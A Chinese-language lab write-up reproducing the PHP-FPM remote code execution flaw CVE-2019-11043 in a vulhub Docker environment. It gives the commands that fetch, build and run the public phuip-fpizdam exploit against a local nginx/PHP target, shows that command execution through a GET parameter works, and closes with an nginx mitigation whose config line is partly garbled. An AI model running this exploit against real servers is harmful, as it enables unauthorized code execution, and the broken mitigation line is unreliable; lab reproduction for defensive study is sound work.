漏洞名称
PHP 远程代码执行漏洞复现CVE-2019-11043
准备工作:安装 docker
sudo apt-get install docker docker-compose
我这边已经安装过了 查看一下docker的版本
安装golang 环境
sudo apt install golang
搭建漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
docker-compose up -d
docker拉取太慢的问题
可以去阿里云URL: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
获取镜像加速器 配置到自己的/etc/docker/daemon.json中
进入docker查看一下
docker ps
可以看到的 两个容器 一个php 7.2.10
一个nginx 可以看到的默认端口是8080端口
访问127.0.0.1:8080/index.php 页面
【EXP/POC】
漏洞利用github已经放出来了
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn //换一个国内的代理
go get -v && go build
编译成功后 go run . “http://127.0.0.1:8080/index.php”
我们去docker查看一下
可以看到echo 反引号 直接执行get传过来的a变量
命令执行
这里注意一下哇 只有部分PHP-FPM子进程受到了污染,多访问两次URL 才能成功执行命令
远程代码执行 成功!
【防御方式】
如果配置文件有fastcgi_split_path_info,就加上if(!-f document_rootdocument
r
ootfastcgi_script_name){return 404;},如果没有,则无需修改。